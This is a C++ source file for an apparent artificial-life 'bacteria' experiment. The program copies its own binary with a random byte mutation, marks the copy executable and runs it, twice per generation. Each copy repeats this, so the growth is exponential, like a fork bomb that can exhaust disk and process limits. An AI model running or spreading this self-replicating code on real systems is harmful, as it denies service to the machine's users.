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95 lines
2.6 KiB
95 lines
2.6 KiB
/*
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#include <bitset>
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#include <climits>
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#include <chrono> // std::chrono::seconds
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#include <cstdlib>
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#include <ctime>
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#include <fstream>
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#include <iostream>
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#include <thread> // std::this_thread::sleep_for
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using namespace std;
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int file_size(const char *filename){
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ifstream ifile;
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ifile.open(filename, ios_base::binary | ios_base::ate);
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int size = ifile.tellg();
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ifile.close();
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return size;
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}
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int main(int argc,char** argv) {
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for (int i = 0; i < 2; i++) {
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// Read my own program
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ifstream ifile;
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ifile.open(argv[0], ios::binary) ;
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//Get some randomness
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srand( time(NULL) );
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int filesize = file_size(argv[0]);
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int rand_byte = rand() % ( filesize + 1 );
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// Devide
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ofstream ofile;
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string filename = tempnam(".", "bact-");
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cout << "Creating new bacteria called: "<< filename << " with size:" << filesize << '\n';;
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ofile.open(filename, ios::binary | ios::out);
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// We count our bytes
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int byte_counter = 0;
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// Loop through binary file byte by byte
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while (!ifile.eof()) {
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unsigned char c;
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c = ifile.get();
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if (byte_counter == rand_byte ) {
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int insert = rand() % 6;
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if (insert == 0) {
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char byte = (char) rand() % 256;
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bitset<8> binbyte(byte);
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cout << "Inserting byte with value: " << binbyte << " after byte: " << byte_counter << '\n';
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ofile.put(c);
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ofile.put(byte);
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} else if (insert == 1) {
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int bit = rand() % CHAR_BIT;
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cout << "Mutating bit: " << bit << " of byte: " << byte_counter << '\n';
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c ^= (1u << bit);
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ofile.put(c);
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} else if (insert == 2){
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cout << "Witholding byte: " << byte_counter << '\n';
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} else {
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cout << "Just letting this one pass."<< '\n';
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ofile.put(c);
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}
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} else {
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ofile.put(c);
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}
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byte_counter++;
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}
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ofile.close();
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string executable = "/bin/chmod +x " + filename;
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string run = filename;
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system(executable.c_str());
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this_thread::sleep_for (chrono::seconds(1));
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system(run.c_str()); // This is the dangerous part ^^
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}
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return 0;
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}
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